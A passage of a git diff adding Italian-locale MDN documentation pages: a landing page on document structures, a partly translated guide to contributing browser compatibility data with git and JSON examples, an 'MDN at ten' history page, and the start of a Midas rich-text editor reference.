+  <p>Hai già familiarità MDN e vuoi imparare di più? Continua a leggere!</p>
+ </li>
+ <li><span><a href="/en-US/docs/MDN/Promote">Spargi la voce</a></span>
+  <p>Se ti piace MDN, aiutaci a spargere la voce! Qui puoi trovare immagini, strumenti e guide per promuovere MDN.</p>
+ </li>
+</ul>
diff --git a/files/it/mdn/structures/index.html b/files/it/mdn/structures/index.html
new file mode 100644
index 0000000000..b8df701dac
--- /dev/null
+++ b/files/it/mdn/structures/index.html
@@ -0,0 +1,16 @@
+---
+title: Document structures
+slug: MDN/Structures
+tags:
+  - Landing
+  - MDN Meta
+  - NeedsTranslation
+  - Structures
+  - TopicStub
+translation_of: MDN/Structures
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<p>Throughout MDN, there are various document structures that are used repeatedly, to provide consistent presentation of information in MDN articles. Here are articles describing these structures, so that, as an MDN author, you can recognize, apply, and modify them as appropriate for documents you write, edit, or translate.</p>
+
+<p>{{LandingPageListSubPages()}}</p>
diff --git a/files/it/mdn/structures/tabelle_compatibilità/index.html b/files/it/mdn/structures/tabelle_compatibilità/index.html
new file mode 100644
index 0000000000..81ee695696
--- /dev/null
+++ b/files/it/mdn/structures/tabelle_compatibilità/index.html
@@ -0,0 +1,496 @@
+---
+title: Tabelle di compatibilità
+slug: MDN/Structures/Tabelle_compatibilità
+translation_of: MDN/Structures/Compatibility_tables
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<p class="summary">MDN ha un formato standard di tabelle di compatibilità per la nostra documentazione web open; in altre parole, la documentazione di tecnologie come DOM, HTML, CSS, JavaScript, SVG, ecc., che viene condivisa attraverso tutti i browsers. Questo articolo spiega come usare le nostre funzionalità per aggiungere dati di compatibilità alle pagine MDN.</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: Il modo in cui i dati sono generati è cambiato. Storicamente le nostre tabelle erano inserite sulla pagina e i dati inseriti manualmente<strong><em>.   </em></strong>Questo è inefficiente, rende la manutenzione difficile e rende i dati inflessibili. Per questo, stiamo cambiando i dati di compatibilità per browser al fine di essere immagazzinati in una repository dati (vedi <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>) generando le tabelle programmaticamente.<br>
+ <br>
+ In questa guida, documentiamo il nuovo metodo per aggiungere dati di compatibilità in MDN, mantenendo tuttavia, la documentazione sul vecchio metodo, poiché saranno ancora presenti per un po' le tabelle popolate manualmente su MDN. Se hai bisogno di vedere la vecchia documentazione, controlla il nostro articolo <a href="/en-US/docs/MDN/Contribute/Structures/Old_compatibility_tables">Old compatibility tables</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Se hai bisogno di aiuto con un qualsiasi step di questa guida, puoi contattarci al <a href="https://discourse.mozilla-community.org/c/mdn">MDN discussion forum</a>.</p>
+</div>
+
+<h2 id="Come_accedere_alla_repository_dati">Come accedere alla repository dati</h2>
+
+<p>I dati sono conservati in un repository GitHub — vedi <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Per accedervi, hai bisogno di un account GitHub, fare un fork del repository browser-compat-data attraverso il tuo account, infine clonare il fork localmente sulla tua macchina.</p>
+
+<h2 id="Choosing_a_feature_to_add_data_for">Choosing a feature to add data for</h2>
+
+<p>First of all, find a feature that you want to add browser-compat-data for. This could be an HTML element, CSS property, JS language feature or JS API interface, for example. We would like to encourage you to work on API features, as we already have people working on HTML, JS, and CSS. You can find the status of features that need their data adding to the repo on our <a href="https://docs.google.com/spreadsheets/d/1ivgyPBr9Lj3Wvj5kyndT1rgGbX-pGggrxuMtrgcOmjM/edit#gid=926663640">Browser Compat Data migration</a> spreadsheet.</p>
+
+<p>The process for using this is as follows:</p>
+
+<ol>
+ <li>Go ahead and choose a feature that is not already being worked on or complete. Put your name in the "Who" column, preferably along with your MDN username so we can find your email address and contact you if we need to.</li>
+ <li>If the feature you want to work on is not already listed in the spreadsheet, add rows for it in an appropriate place, copying the format that is already there. You should also use the same granularity (e.g. per element for HTML, per property or selector for CSS, per object for JS, per interface for APIs).</li>
+ <li>Once you've started work on adding the data, put the status to "In progress".</li>
+ <li>Once you've added the data and submitted a pull request to the main repo, put the status to "PR done".</li>
+ <li>As your data is merged to the repo, then added to the npm package, update the status as necessary.</li>
+ <li>Once you've updated the documentation page(s) for your feature to use the new macro to dynamically generate the appropriate data table on each page, set the status to "Article updated". At this point, you are done.</li>
+</ol>
+
+<h2 id="Preparing_to_add_the_data">Preparing to add the data</h2>
+
+<p>Before adding some new data, you should make sure that your fork is up-to-date with the main repo (it contains the same content), create a new branch inside your fork to contain your additions, then pull that branch into your local clone so you can start working inside it:</p>
+
+<p>Let's look at a simple way to make sure your fork is to-to-date is as follows:</p>
+
+<h3 id="Adding_the_main_browser-compat-data_repo_as_a_remote">Adding the main browser-compat-data repo as a remote</h3>
+
+<p>Go to your local clone of your fork in your terminal/command line, and add a remote pointing to the main (upstream) repo like so (you only need to do this once):</p>
+
+<pre class="brush: bash notranslate">git remote add upstream https://github.com/mdn/browser-compat-data.git</pre>
+
+<p>If you are unsure whether you've done this, you can check what remotes your repo has using</p>
+
+<pre class="brush: bash notranslate">git remote -v</pre>
+
+<h3 id="Updating_your_fork_with_the_remotes_content">Updating your fork with the remote's content</h3>
+
+<p>Now, whenever you want to update your fork, you can do so by:</p>
+
+<ol>
+ <li>
+  <p>Making sure you are in the master branch:</p>
+
+  <pre class="brush: bash notranslate">git checkout master</pre>
+ </li>
+ <li>
+  <p>fetching the up-to-date repo contents using the following:</p>
+
+  <pre class="brush: bash notranslate">git fetch upstream</pre>
+ </li>
+ <li>
+  <p>rebasing the contents of your master with the main repo's contents:</p>
+
+  <pre class="brush: bash notranslate">git rebase upstream/master</pre>
+ </li>
+ <li>
+  <p>pushing these updates back to your remote fork using this:</p>
+
+  <pre class="brush: bash notranslate">git push -f</pre>
+ </li>
+</ol>
+
+<h3 id="Creating_a_new_branch_to_do_your_work_in">Creating a new branch to do your work in</h3>
+
+<p>Next, go to your remote fork (it will be at <code>https://github.com/<em>your-username</em>/browser-compat-data</code>) and create a new branch to store your changes for this data addition. This can be done by:</p>
+
+<ol>
+ <li>Clicking on the "Branch: Master" button.</li>
+ <li>Entering a new branch name into the "Find or create a branch..." text field.</li>
+ <li>Pressing the resulting "Create branch <em>name-of-branch</em> from Master" button.</li>
+</ol>
+
+<p>For example, if you were wanting to add data for the WebVR API, you'd create a branch called something like "webvr".</p>
+
+<h3 id="Switching_to_the_new_branch">Switching to the new branch</h3>
+
+<p>At this point, go back to your terminal/command line, and update your fork's local clone to include your new branch using the following command:</p>
+
+<pre class="brush: bash notranslate">git pull</pre>
+
+<p>Now switch to your new branch using this:</p>
+
+<pre class="brush: bash notranslate">git checkout<em> name-of-branch</em></pre>
+
+<p>You should now be ready to start adding your data!</p>
+
+<h2 id="Adding_the_data">Adding the data</h2>
+
+<p>To add the data, you need to create a new file or files to store your compat data in. The files you need to create differ, depending on what technology you are working on:</p>
+
+<ul>
+ <li>HTML: One file per HTML element, contained in <a href="https://github.com/mdn/browser-compat-data/tree/master/html/elements">browser-compat-data/html/elements</a>. The file should be called the name of the element, all in lower case, e.g. <code>div.json</code>.</li>
+ <li>CSS: One file per CSS property or selector, contained in the appropriate directory (see <a href="https://github.com/mdn/browser-compat-data/tree/master/css">browser-compat-data/css</a>). The file should be called the name of the feature, all in lower case, e.g. <code>background-color.json</code>, or <code>hover.json</code>.</li>
+ <li>JS: One file per JS object, contained in <a href="https://github.com/mdn/browser-compat-data/tree/master/javascript/builtins">browser-compat-data/javascript/builtins</a>. The file should be called the exact name of the object, with the casing preserved, e.g. <code>Date.json</code> or <code>InternalError.json</code>.</li>
+ <li>APIs: One file per interface contained in the API, put in <a href="https://github.com/mdn/browser-compat-data/tree/master/api">browser-compat-data/api</a>. Each file should be called the exact name of the interface, with the casing preserved, e.g. The WebVR API has <code>VRDisplay.json</code>, <code>VRDisplayCapabilities.json</code>, etc.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: You'll notice that the repo also contains data for <a href="/en-US/Add-ons/WebExtensions">Browser Extensions</a> and <a href="/en-US/docs/Web/HTTP">HTTP</a>. These data sets are basically finished as they stand, but more features may need to be added in the future.</p>
+</div>
+
+<p>Each file you create has to follow the pattern defined in the schema contained within our repo; you can see the <a href="https://github.com/mdn/browser-compat-data/blob/master/schemas/compat-data-schema.md">detailed schema description here</a>.</p>
+
+<h3 id="Basic_compat_data_structure">Basic compat data structure</h3>
+
+<p>Let's look at an example. CSS property JSON files for example need the following basic structure:</p>
+
+<pre class="brush: json notranslate">{
+  "css": {
+    "properties": {
+      "border-width": {
+        "__compat": {
+          ...
+        }
+      }
+    }
+  }
+}</pre>
+
+<p>You have the <code>css</code> object, inside of which is a <code>properties</code> object. Inside the <code>properties</code> object, you need one member for each of the specific features you want to define the compat data for. Each of these members has a <code>__compat</code> member, inside of which the actual data goes.</p>
+
+<p>The above data is found in the <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/border-width.json">border-width.json</a> file — compare this to the <a href="/en-US/docs/Web/CSS/border-width#Browser_compatibility">rendered border-width support table on MDN</a>.</p>
+
+<p>Other types of features work in the same way, but with different object names:</p>
+
+<ul>
+ <li>CSS selectors work in basically the same way as CSS properties, except that the top-level object structure is <code>css.selectors</code> instead of <code>css.properties</code>. See <a href="https://github.com/mdn/browser-compat-data/blob/master/css/selectors/cue.json">cue.json</a> for an example.</li>
+ <li>HTML data works in basically the same way, except that the top-level object structure is <code>html.elements</code>. See <code>article.json</code> for an example.</li>
+ <li>The top level object structure for JS built-in objects is <code>javascript.builtins</code>; see <a href="https://github.com/mdn/browser-compat-data/blob/master/javascript/builtins/Array.json">Array.json</a> for an example.</li>
+</ul>
+
+<div>
+<p>In HTML, CSS, and JS pages, you'll normally only need one feature. API interfaces work slightly differently — they always have multiple sub-features (see {{anch("Sub-features")}}, below).</p>
+
+<h3 id="Basic_structure_inside_a_feature">Basic structure inside a feature</h3>
+
+<p>Inside a feature <code>__compat</code> member, you need to include the following members:</p>
+
+<ul>
+ <li><code>mdn_url</code>: Contains the URL of the reference page for this feature on MDN. Note that this needs to be written without the locale directory inside, e.g. <code>/docs/...</code> not <code>/docs/en-US/...</code> (or whatever). This is added in by the macro when the data is put on the page, for localization purposes.</li>
+ <li><code>support</code>: Contains members representing the browser support information for this feature in all the different browsers we want to report.</li>
+ <li><code>status</code>: Contains members reporting the standards track status of this feature.</li>
+</ul>
+
+<p>The names of the browser members are defined in the schema (see <a href="https://github.com/mdn/browser-compat-data/blob/master/schemas/compat-data-schema.md#browser-identifiers">Browser identifiers</a>). You should use the full list of currently defined identifiers. If you wish to add another browser, talk to us first, as this could have a wide-ranging impact and should not be done without careful thought.</p>
+
+<p>In a basic browser compat data file, you'll only need to include "version_added" inside the browser identifier members (we'll cover {{anch("Advanced cases")}} later on). The different values you might want to include are as follows:</p>
+
+<ul>
+ <li>A version number: If you know the exact version in which a browser started to support your feature, use a string representing the number, e.g. "47".</li>
+ <li><code>true</code>: If a browser supports a feature but you don't know the exact version number, use the value <code>true</code>. This equivalent to the <code>\{{CompatVersionUnknown}}</code> macro call in the old manual tables.</li>
+ <li><code>false</code>: If a browser does not support a feature, use the value <code>false</code>. This is equivalent to the the <code>\{{CompatNo}}</code> macro call in the old manual tables.</li>
+ <li><code>null</code>: If you don't know whether a browser supports a feature or not, use the value <code>null</code>. This is equivalent to the <code>\{{CompatUnknown}}</code> macro call in the old manual tables.</li>
+</ul>
+
+<p>Inside the <code>status</code> member, you'll include three submembers:</p>
+
+<ul>
+ <li> "experimental": This should be set to <code>true</code> if the feature is <a href="/en-US/docs/MDN/Contribute/Guidelines/Conventions_definitions#Experimental">experimental</a>, or <code>false</code> otherwise.</li>
+ <li>"standard_track": This should be set to <code>true</code> if a feature is on some kind of standards track (most commonly W3C/WHATWG, but there are also other standards efforts such as Khronos, TC39, etc.) or <code>false</code> otherwise.</li>
+ <li>"deprecated": This should be set to <code>true</code> if the feature is <a href="/en-US/docs/MDN/Contribute/Guidelines/Conventions_definitions#Deprecated_and_obsolete">deprecated</a>, or <code>false</code> otherwise.</li>
+</ul>
+
+<p>The feature data for <a href="/en-US/docs/Web/CSS/border-width#Browser_compatibility">border-width</a> (also see <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/border-width.json">border-width.json</a>) is shown below as an example:</p>
+
+<pre class="brush: json notranslate">"__compat": {
+  "mdn_url": "https://developer.mozilla.org/docs/Web/CSS/border-width",
+  "support": {
+    "chrome": {
+      "version_added": "1"
+    },
+    "webview_android": {
+      "version_added": "2"
+    },
+    "edge": {
+      "version_added": true
+    },
+    "edge_mobile": {
+      "version_added": true
+    },
+    "firefox": {
+      "version_added": "1"
+    },
+    "firefox_android": {
+      "version_added": "1"
+    },
+    "ie": {
+      "version_added": "4"
+    },
+    "ie_mobile": {
+      "version_added": "6"
+    },
+    "opera": {
+      "version_added": "3.5"
+    },
+    "opera_android": {
+      "version_added": "11"
+    },
+    "safari": {
+      "version_added": "1"
+    },
+    "safari_ios": {
+      "version_added": "3"
+    }
+  },
+  "status": {
+    "experimental": false,
+    "standard_track": true,
+    "deprecated": false
+  }
+}</pre>
+
+<h4 id="Adding_a_description">Adding a description</h4>
+
+<p>There is a fourth, optional, member that can go inside the __compat member — <code>description</code>. This can be used to include a human-readable description of the feature. You should only include this if it is hard to see what the feature is from glancing at the data. For example, it might not be that obvious what a constructor is from looking at the data structure, so you can include a description like so:</p>
+
+<pre class="brush: json notranslate">{
+  "api": {
+    "AbortController": {
+      "__compat": {
+        ...
+      },
+      "AbortController": {
+        "__compat": {
+          "mdn_url": "https://developer.mozilla.org/docs/Web/API/AbortController/AbortController",
+          "description": "&lt;code&gt;AbortController()&lt;/code&gt; constructor",
+          "support": {
+            ...
+          }
+        }
+      }
+
+      ... etc.
+    }
+  }
+}</pre>
+
+<h3 id="Sub-features">Sub-features</h3>
+
+<p>In a page where the compat table has more than one row, you'll need multiple subfeatures inside each feature to define the information for each row. This can happen, for example, when you've got the basic support for a feature stored in one row, but then the feature also has a new property or value type that was addded much later in the specification's life and is only supported in a couple of browsers.</p>
+
+<p>As an example, see the <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/background-color.json">compat data</a> and <a href="/en-US/docs/Web/CSS/background-color">corresponding MDN page</a> for the <code>background-color</code> property. The basic support exists inside the <code>__compat</code> object as explained above, then you have an additional row for browsers' support for "alpha channel for hex values", which contains its own <code>__compat</code> object.</p>
+
+<pre class="brush: json notranslate">{
+  "css": {
+    "properties": {
+      "background-color": {
+        "__compat": {
+          ...
+        },
+        "alpha_ch_for_hex": {
+          "__compat": {
+            ...
+          },
+        }
+      }
+    }
+  }
+}</pre>
+
+<p>For an API, you've got the top two levels defined as <code>api.<em>name-of-the-interface</em></code>, then a top-level <code>__compat</code> section to define the overall browser compatibility of the interface, then a sub-feature for each of the methods, properties, and constructors contained inside the interface. The basic structure looks like this:</p>
+
+<pre class="brush: json notranslate">{
+  "api": {
+    "VRDisplay": {
+      "__compat": {
+        ...
+      },
+      "cancelAnimationFrame": {
+        "__compat": {
+          ...
+        }
+      },
+      "capabilities": {
+        "__compat": {
+          ...
+        }
+      },
+
+      ... etc.
+
+    }
+  }
+}</pre>
+
+<p>See <a href="https://github.com/mdn/browser-compat-data/blob/master/api/VRDisplay.json">VRDisplay.json</a> for a full example.</p>
+</div>
+
+<h2 id="Adding_data_Advanced_cases">Adding data: Advanced cases</h2>
+
+<p>There are some advanced features that you'll want to include in browser compat data. The aim of this section is to list the most common ones, providing an example of each to show how you can implement them in your own compat data.</p>
+
+<h3 id="Including_a_footnote">Including a footnote</h3>
+
+<p>Often compat tables will include footnotes related to certain entries that explain useful details or strange behavior that developers will find useful. As an example, the Chrome Android entry for {{domxref("VRDisplay.capabilities")}} (see also <a href="https://github.com/mdn/browser-compat-data/blob/master/api/VRDisplay.json">VRDisplay.json</a>)  (at the time of writing) had a footnote "<span class="pl-s">Currently supported only by Google Daydream." To include this in the capabilities data, we added a "notes" submember inside the relevant "chrome_android" submember; it would look like this:</span></p>
+
+<pre class="brush: json notranslate">"chrome_android": {
+  "version_added": true,
+  "notes": "Currently supported only by Google Daydream."
+}</pre>
+
+<h3 id="Including_a_vendor_prefix">Including a vendor prefix</h3>
+
+<p>If a feature is supported behind a vendor prefix in one or more browsers, you'll want to make that clear in the browser compat data. imagine you had a feature that was supported with a <code>-moz-</code> prefix in Firefox. To specify this in the compat data, you'd need to add a "prefix" submember inside the relevant "firefox" submember. It would look something like this:</p>
+
+<pre class="brush: json notranslate">"firefox": {
+  "version_added": true,
+  "prefix": "-moz-"
+}</pre>
+
+<h3 id="Including_browser_preferences_or_flags">Including browser preferences or flags</h3>
+
+<p>Some features may be supported in a browser, but they are experimental and turned off by default. If a user wants to play with this feature they need to turn it on using a preference/flag.</p>
+
+<p>To represent this in the compat data, you need to add the "flags" submember inside the relevant browser identifier submember. The value of "flags" is an array of objects each of which contains of three members:</p>
+
+<ul>
+ <li>"type": The type of flag or pref this is. The most common value is "preference", which is set inside the browser (for example, using <code>about:config</code> in Firefox, or <code>chrome://flags</code> in Chrome), but you might also sometimes use a value of <span class="pl-s"><span class="pl-pds">"</span>compile_flag<span class="pl-pds">", which is a preference set when the browser build is compiled.</span></span></li>
+ <li>"name": This is a string representing the name of the preference that needs to have a value set on it. For example, "Enable Experimental Web Platform Features" is a preference that exists in Chrome, found in <code>chrome://flags</code>.</li>
+ <li>"value_to_set": This is a string representing the value that needs to be set on the preference, for example "true".</li>
+</ul>
+
+<p>So to add a preference/flag to the Chrome support for a feature, you'd do something like this:</p>
+
+<pre class="brush: json notranslate">"chrome": {
+  "version_added": "50",
+  "flags": [
+    {
+      "type": "preference",
+      "name": "Enable Experimental Web Platform Features",
+      "value_to_set": "true"
+    }
+  ]
+},</pre>
+
+<p>If a feature is behind two or more flags, you can add additional objects to the "flags" array, like in this case, for example:</p>
+
+<pre class="brush: json notranslate">"firefox": {
+  "version_added": "57",
+  "flags": [
+    {
+      "type": "preference",
+      "name": "dom.streams.enabled",
+      "value_to_set": "true"
+    },
+    {
+      "type": "preference",
+      "name": "javascript.options.streams",
+      "value_to_set": "true"
+    }
+  ]
+},</pre>
+
+<h3 id="Including_a_version_where_support_was_removed">Including a version where support was removed</h3>
+
+<p>Sometimes a feature will be added in a certain browser version, but then removed again as the feature is deprecated. This can be easily represented using the "version_removed" submember, which takes as its value a string representing the version number it was removed on. For example:</p>
+
+<pre class="brush: json notranslate">"firefox": {
+  "version_added": "35",
+  "version_removed": "47",
+},</pre>
+
+<h3 id="Including_multiple_support_points_for_the_same_browser_entry">Including multiple support points for the same browser entry</h3>
+
+<p>Sometimes you'll want to add multiple support data points for the same browser inside the same feature.</p>
+
+<p>As an example, the {{cssxref("text-align-last")}} property (see also <a href="https://github.com/mdn/browser-compat-data/blob/master/css/properties/text-align-last.json">text-align-last.json</a>) was added to Chrome in version 35, supported behind a pref.</p>
+
+<p>The support mentioned above was then removed in version 47; also in version 47, support was added for <code>text-align-last</code> enabled by default.</p>
+
+<p>To include both of these data points, you can make the value of the "chrome" submember an array containing two support information objects, rather than just a single support information object:</p>
+
+<pre class="brush: json notranslate">"chrome": [
+  {
+    "version_added": "47"
+  },
+  {
+    "version_added": "35",
+    "version_removed": "47",
+    "flags": [
+      {
+        "type": "preference",
+        "name": "Enable Experimental Web Platform Features",
+        "value_to_set": "true"
+      }
+    ]
+  }
+],</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You should put the most current or important support point first in the array — this makes the data easier to read for people who just want to scan it for the latest info.</p>
+</div>
+
+<h3 id="Including_an_alternative_name">Including an alternative name</h3>
+
+<p>Occasionally browsers will support a feature under a different name to the name defined in its specification. This might be for example because a browser added experimental support for a feature early, and then the name changed before the spec stabilized.</p>
+
+<p>To include such a case in the browser compat data, you can include a support information point that specifies the alternative name inside an "alternative_name" member.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The alternative name might not be an exact alias — it might have differing behaviour to the standard version.</p>
+</div>
+
+<p>Let's look at an example. The {{cssxref("border-top-right-radius")}} property (see also <a href="https://github.com/mdn/browser-compat-data/blob/2a0cc3f6bb17aa4345441bed47a059dffd847793/css/properties/border-top-right-radius.json">border-top-right-radius.json</a>) was supported in Firefox:</p>
+
+<ul>
+ <li>From version 4 onwards with the standard name <code>border-top-right-radius</code>.</li>
+ <li>From version 49 onwards with a <code>-webkit-</code> prefix, for browser compatibility purposes.</li>
+ <li>From version 1 onwards with the alternative name <code>-moz-border-radius-topright</code>. Support for this alias was removed in version 12.</li>
+</ul>
+
+<p>To represent this in the data, we used the following JSON:</p>
+
+<pre class="brush: json notranslate">"firefox": [
+  {
+    "version_added": "4",
+    "notes": "Prior to Firefox 50.0, border styles of rounded corners were always rendered as if &lt;code&gt;border-style&lt;/code&gt; was solid. This has been fixed in Firefox 50.0."
+  },
+  {
+    "prefix": "-webkit-",
+    "version_added": "49",
+    "notes": "From Firefox 44 to 48, the &lt;code&gt;-webkit-&lt;/code&gt; prefix was available with the &lt;code&gt;layout.css.prefixes.webkit&lt;/code&gt; preference. Starting with Firefox 49, the preference defaults to &lt;code&gt;true&lt;/code&gt;."
+  },
+  {
+    "alternative_name": "-moz-border-radius-topright",
+    "version_added": "1",
+    "version_removed": "12"
+  }
+],</pre>
+
+<h2 id="Pushing_a_change_back_to_the_main_repo">Pushing a change back to the main repo</h2>
+
+<p>Once you are finished with adding your compat data, you should first test it using the following commands:</p>
+
+<ul>
+ <li><code>npm run lint</code> — tests all the compat data to make sure the JSON is valid, and is written in the correct style, for example correct indentation, no missing commas, etc. It will print out a long list of file names and test results; if an error is found, the linter will throw an error on the file it is found in, giving you useful debugging info like line number, error message, etc.</li>
+ <li><code>npm run show-errors</code> — validates the JSON against the data schema, and highlights errors such as invalid browser version numbers being used.</li>
+ <li><code>npm run render dotted.path.to.feature</code> — allows you to preview the markup for the compat table for a data file in the repo. As an example, <code>npm run render css.properties.background</code> shows the table markup for the {{cssxref("background")}} property.</li>
+</ul>
+
+<p>If it is looking OK, you then need to commit it and push it back up to your remote fork on GitHub. You can do this easily with terminal commands like this:</p>
+
+<pre class="brush: bash notranslate">git add .
+git commit -m 'adding compat data for name-of-feature'
+git push</pre>
+
+<p>Now go to your remote fork (i.e. <code>https://github.com/<em>your-username</em>/browser-compat-data</code>) and you should see information about your push at the top of the files list (under "Your recently pushed branches"). You can create a pull request (starting the process of pushing this to the main repo) by pressing the "Compare &amp; pull request" button, then following the simple prompts on the subsequent screen.</p>
+
+<p>At this point, you just need to wait. A reviewer will review your pull request, and merge it with the main repo, OR request that you make changes. If changes are needed, make the changes and submit again until the PR is accepted.</p>
+
+<h2 id="Inserting_the_data_into_MDN_pages">Inserting the data into MDN pages</h2>
+
+<p>Once your new data has been included in the main repo, you can start dynamically generating browser compat tables based on that data on MDN pages using the \{{Compat}} macro. This takes a single parameter, the dot notation required to walk down the JSON data and find the object representing the feature you want to generate the compat table for.</p>
+
+<p>Above the macro call, to help other contributors finding their way, you should add a hidden text that is only visible in MDN contributors in edit mode:</p>
+
+<pre class="brush: html notranslate">&lt;div class="hidden"&gt;
+&lt;p&gt;The compatibility table on this page is generated from structured data.
+If you'd like to contribute to the data, please check out
+&lt;a href="https://github.com/mdn/browser-compat-data"&gt;https://github.com/mdn/browser-compat-data&lt;/a&gt;
+and send us a pull request.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>As an example, on the {{httpheader("Accept-Charset")}} HTTP header page, the macro call looks like this: \{{Compat("http.headers.Accept-Charset")}}. If you look at the <a href="https://github.com/mdn/browser-compat-data/blob/master/http/headers/accept-charset.json">accept-charset.json</a> file in the repo, you'll see how this is reflected in the JSON data.</p>
+
+<p>As another example, The compat table for the {{domxref("VRDisplay.capabilities")}} property is generated using \{{Compat("api.VRDisplay.capabilities")}}. The macro call generates the following table (and corresponding set of notes):</p>
+
+<hr>
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.VRDisplay.capabilities")}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: The filenames often match the labels given to the interfaces inside the JSON structures, but it is not always the case. When the macro calls generate the tables, they walk through all the files until they find the relevant JSON to use, so the filenames are not critical. Saying that, you should always name them as intuitively as possible.</p>
+</div>
diff --git a/files/it/mdn_at_ten/index.html b/files/it/mdn_at_ten/index.html
new file mode 100644
index 0000000000..ab7c64d1ad
--- /dev/null
+++ b/files/it/mdn_at_ten/index.html
@@ -0,0 +1,41 @@
+---
+title: 10 anni di MDN
+slug: MDN_at_ten
+tags:
+  - History
+  - Landing
+  - MDN Meta
+translation_of: MDN_at_ten
+---
+<p class="summary">Celebra 10 anni di documentazione Web.</p>
+
+<div class="column-container">
+<div class="column-8">
+<h2 id="La_storia_di_MDN">La storia di MDN</h2>
+
+<p>All'inizio del 2005 una piccola squadra di idealisti si unì per creare una nuova raccolta di risorse per gli sviluppatori web che fosse gratuita e costruita dalla comunità. Dalla loro idea tanto brillante quanto anticonformista crebbe il Mozilla Developer Network che conosciamo oggi, ovvero la principale fonte di risorse per tutte le tecnologie web aperte. Dieci anni più tardi la nostra comunità globale è più grande che mai e continuiamo ancora a creare documentazione, codice d'esempio, risorse relative a tutte le tecnologie web open, incluse CSS, HTML e Javascript, e tutti gli strumenti che rendono l'open Web all'avanguardia.</p>
+
+<p><a class="learnmore" href="/en-US/docs/MDN_at_ten/History_of_MDN">Scopri di più <span class="offscreen">about the history</span></a></p>
+
+
+<h2 id="Collaborare_a_MDN">Collaborare a MDN</h2>
+
+<p>Da dieci anni la community di MDN sta documentando l'open Web. Dalla correzione di semplici errori di battitura fino ad arrivare allo sviluppo di API completamente nuove, tutti hanno qualcosa da offrire e non esistono contributi troppo piccoli o troppo grandi. MDN annovera oltre 90.000 pagine scritte o tradotte da membri della nostra fantastica comunità di Mozillians. Anche tu puoi diventare uno di loro, anzi, uno di noi.</p>
+
+<p><a class="learnmore" href="/en-US/docs/MDN_at_ten/Contributing_to_MDN">Scopri di più <span class="offscreen">about contributing</span></a></p>
+
+<p> </p>
+
+<p> </p>
+</div>
+
+<div class="column-4">{{TenthCampaignQuote}}</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ol>
+ <li><a href="/en-US/docs/MDN_at_ten/">10 anni di MDN</a></li>
+ <li><a href="/en-US/docs/MDN_at_ten/History_of_MDN">La storia di MDN</a></li>
+ <li><a href="/en-US/docs/MDN_at_ten/Contributing_to_MDN">Contribuire a MDN</a></li>
+</ol>
+</div>
diff --git a/files/it/midas/index.html b/files/it/midas/index.html
new file mode 100644
index 0000000000..975b7bdfa8
--- /dev/null
+++ b/files/it/midas/index.html
@@ -0,0 +1,330 @@
+---
+title: Midas
+slug: Midas
+tags:
+  - DOM
+  - Midas
+  - NeedsContent
+  - NeedsHelp
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+translation_of: Mozilla/Projects/Midas
+---
+<h2 id="Introduction" name="Introduction">Introduction</h2>
+
+<p>Midas is the code name for Gecko's built-in rich text editor. Midas can be enabled via JavaScript on an HTML document. When Midas is enabled, the document becomes editable by the user. Scripting for Midas is based on the <a href="http://msdn.microsoft.com/en-us/library/ms533049.aspx">DHTML commands</a> supported by Internet Explorer. Internet Explorer supports the ability to make an entire document editable by setting the <code>designMode</code> property of the {{domxref("document")}} object; this is how Midas is invoked in Gecko. Internet Explorer also supports the ability to edit specific elements using the <code>contentEditable</code> attribute; Starting with Firefox 3, Gecko also supports <code>contentEditable</code>. Once Midas is invoked, a few more methods of the <code>document</code> object become available.</p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Midas/designMode">document.designMode</a></dt>
+ <dd>By setting this property to "on", the document becomes editable.</dd>
+</dl>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Since an entire document becomes editable, authors often load the editable document into an <code>IFRAME</code> and do the bulk of the scripting in the parent document. According to <a href="http://www.w3.org/TR/2003/REC-DOM-Level-2-HTML-20030109/html.html#ID-50708718">standards</a>, The <code>IFRAME</code> element has the <code>contentDocument</code> property that refers to the document in the inline frame. It also has a property called <code>contentWindow</code> that refers to the window object inside the inline frame. This also avoids problems with {{bug(198155)}}.</p>
+
+<p>In addition to the built-in commands, advanced editing can be done by manipulating the {{domxref("Selection")}} and {{domxref("range")}} objects. It is beneficial to be familiar with these objects when working with an editable document.</p>
+
+<h2 id="Examples" name="Examples">Examples</h2>
+
+<p>This example shows the basic structure described in the Notes section :</p>
+
+<pre>&lt;html&gt;
+	&lt;head&gt;
+		&lt;title&gt;Simple Edit Box&lt;/title&gt;
+	&lt;/head&gt;
+	&lt;body&gt;
+		&lt;iframe
+			id="MidasForm"
+			src="about:blank"
+			onload="this.contentDocument.designMode='on';"
+		&gt;&lt;/iframe&gt;
+	&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Document.execCommand")}}</dt>
+ <dd>Executes the given command.</dd>
+ <dt>{{domxref("Document.queryCommandEnabled")}}</dt>
+ <dd>Determines whether the given command can be executed on the document in its current state.</dd>
+ <dt>{{domxref("Document.queryCommandIndeterm")}}</dt>
+ <dd>Determines whether the current selection is in an indetermined state.</dd>
+ <dt>{{domxref("Document.queryCommandState")}}</dt>
